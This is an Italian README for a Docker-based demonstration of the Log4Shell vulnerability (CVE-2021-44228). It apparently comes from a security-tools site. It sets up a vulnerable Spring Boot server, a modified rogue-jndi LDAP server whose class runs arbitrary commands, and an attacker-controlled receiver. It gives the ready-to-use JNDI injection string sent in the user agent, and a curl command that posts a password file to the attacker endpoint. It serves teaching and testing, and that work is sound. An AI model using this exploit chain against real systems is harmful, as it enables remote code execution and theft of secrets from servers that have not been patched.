CVE-2021-44228-docker-example

Una semplice dimostrazione di CVE-2021-44228 per trasferire dati da un server vulnerabile a un servizio web controllato da un attaccante. Tutti i componenti coinvolti sono eseguiti tramite Docker.

Componenti

vulnerable-server

Questo è un server Java standard che funge da vittima. Esegue:

• Java 8u111
• Web Application (Spring Boot 2.6.1)
• Log4J

Questo server è VULNERABILE con questa configurazione.

Informazioni aggiuntive:

• l'endpoint /logging (GET) registra lo user agent usando Log4J
• /foo/passwords.txt esiste (il bersaglio dell'attaccante)

Contenuto di passwords.txt:

my secret

malicious-receiver

Questo è un server Java standard che funge da raccoglitore di dati dell'attaccante. Esegue:

• Java 17
• Web Application (Spring Boot 2.6.1)

Informazioni aggiuntive:

• l'endpoint receiver (POST) registra il corpo della richiesta

malicious-ldap

Questo è un server LDAP basato su rogue-jndi. La sua classe ExportJava è stata modificata in modo che i comandi passati tramite il flag -c vengano eseguiti.

public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

Quando richiesto dal server vulnerabile, risponderà con una classe che esegue il seguente comando quando viene istanziata:

curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

Questo invierà effettivamente il contenuto di /foo/passwords.txt all'endpoint predisposto del ricevitore malintenzionato.

Utilizzo

1. prepara le immagini Docker eseguendo:
   root@kitploit:~

   ./build.sh
   

2. avvia i container dei componenti eseguendo:
   root@kitploit:~

   ./start.sh
   

3. attiva la vulnerabilità eseguendo:
   root@kitploit:~

   curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
   

4. controlla l'output di logging del componente malicious-receiver eseguendo:
   root@kitploit:~

   docker logs --timestamps docker_malicious-receiver_1
   

   Nel log dovrebbe essere presente il contenuto del file passwords.txt del server.
5. ferma i container dei componenti eseguendo:
   root@kitploit:~

   ./stop.sh